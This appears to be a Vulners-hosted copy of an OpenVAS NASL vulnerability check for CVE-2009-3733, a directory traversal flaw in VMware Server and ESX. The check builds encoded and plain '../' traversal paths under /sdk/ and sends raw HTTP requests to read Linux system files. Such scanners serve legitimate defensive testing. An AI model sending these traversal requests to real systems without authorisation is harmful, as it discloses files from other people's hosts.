VMware Products Directory Traversal Vulnerability
🗓️ 23 Feb 2010 00:00:00Reported by Copyright (C) 2010 Greenbone AGType
openvas🔗 plugins.openvas.org👁 43 Views
| Reporter | Title | Published | Views | Family All 28 |
|---|---|---|---|---|
| CVE-2009-3733 | 27 Oct 200900:00 | – | circl | |
| CVE-2009-3733 | 2 Nov 200915:00 | – | cve | |
| CVE-2009-3733 | 2 Nov 200915:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_VMWARE | 2 Nov 200915:30 | – | d2 | |
| DSquare Exploit Pack: D2SEC_VMWARE_DIRTRAV | 2 Nov 200915:30 | – | d2 | |
| Vmware Server File Disclosure | 18 Mar 201200:00 | – | dsquare | |
| VMware Server 2.0.1 / ESXi Server 3.5 - Directory Traversal | 27 Oct 200900:00 | – | exploitdb | |
| VMware Server 2.0.1 ESXi Server 3.5 - Directory Traversal | 27 Oct 200900:00 | – | exploitpack | |
| GLSA-201209-25 : VMware Player, Server, Workstation: Multiple vulnerabilities | 1 Oct 201200:00 | – | nessus | |
| VMware Host Agent Directory Traversal (VMSA-2009-0015) | 17 Feb 201000:00 | – | nessus |
10
# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.100502");
script_version("2025-04-15T05:54:49+0000");
script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
script_tag(name:"creation_date", value:"2010-02-23 17:05:07 +0100 (Tue, 23 Feb 2010)");
script_cve_id("CVE-2009-3733");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_name("VMware Products Directory Traversal Vulnerability");
script_category(ACT_ATTACK);
script_family("Remote file access");
script_copyright("Copyright (C) 2010 Greenbone AG");
script_dependencies("gb_vmware_esx_web_detect.nasl", "gb_vmware_esx_snmp_detect.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 8222);
script_mandatory_keys("VMware/ESX/installed", "Host/runs_unixoide"); # only vmware running under linux is affected
script_exclude_keys("Settings/disable_cgi_scanning");
script_xref(name:"URL", value:"http://secunia.com/advisories/37186");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/36842");
script_xref(name:"URL", value:"http://www.vupen.com/english/advisories/2009/3062");
script_xref(name:"URL", value:"http://securitytracker.com/alerts/2009/Oct/1023088.html");
script_xref(name:"URL", value:"http://lists.vmware.com/pipermail/security-announce/2009/000069.html");
script_xref(name:"URL", value:"http://www.vmware.com/security/advisories/VMSA-2009-0015.html");
script_tag(name:"impact", value:"Successful exploitation will let the remote/local attacker to disclose
sensitive information.");
script_tag(name:"affected", value:"VMware Server version 2.0.x prior to 2.0.2 Build 203138,
VMware Server version 1.0.x prior to 1.0.10 Build 203137 on Linux.");
script_tag(name:"insight", value:"An error exists while handling certain requests can be exploited to download
arbitrary files from the host system via directory traversal attacks.");
script_tag(name:"solution", value:"Upgrade the VMWare product(s) according to the referenced vendor announcement.");
script_tag(name:"summary", value:"VMWare product(s) are prone to a directory traversal vulnerability.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
port = http_get_port(default:8222);
res = http_get_cache(item:"/", port:port);
# URL based on whether the target is esx/esxi or server
if("VMware ESX" >< res) {
path = "/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/";
} else if("<title>VMware Server" >< res) {
path = "/sdk/../../../../../../";
} else {
exit(0); # not vmware
}
host = http_host_name(port:port);
req = http_get(item:"/ui/", port:port);
buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(!buf)
exit(0);
if("Location: https://" >< buf) # port is redirected, will be checked if the https port is touched...
exit(0);
files = traversal_files("linux");
foreach pattern(keys(files)) {
file = files[pattern];
url = path + file;
req = string("GET ", url, " HTTP/1.1\r\n");
req += string("TE: deflate,gzip;q=0.3\r\nConnection: TE, close\r\n");
req += string("Host: ", host, "\r\n\r\n");
buf = http_send_recv(port:port, data:req);
if(!buf)
continue;
if(egrep(pattern:pattern, string:buf)) {
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
}
exit(99);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Apr 2025 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 25
EPSS0.83378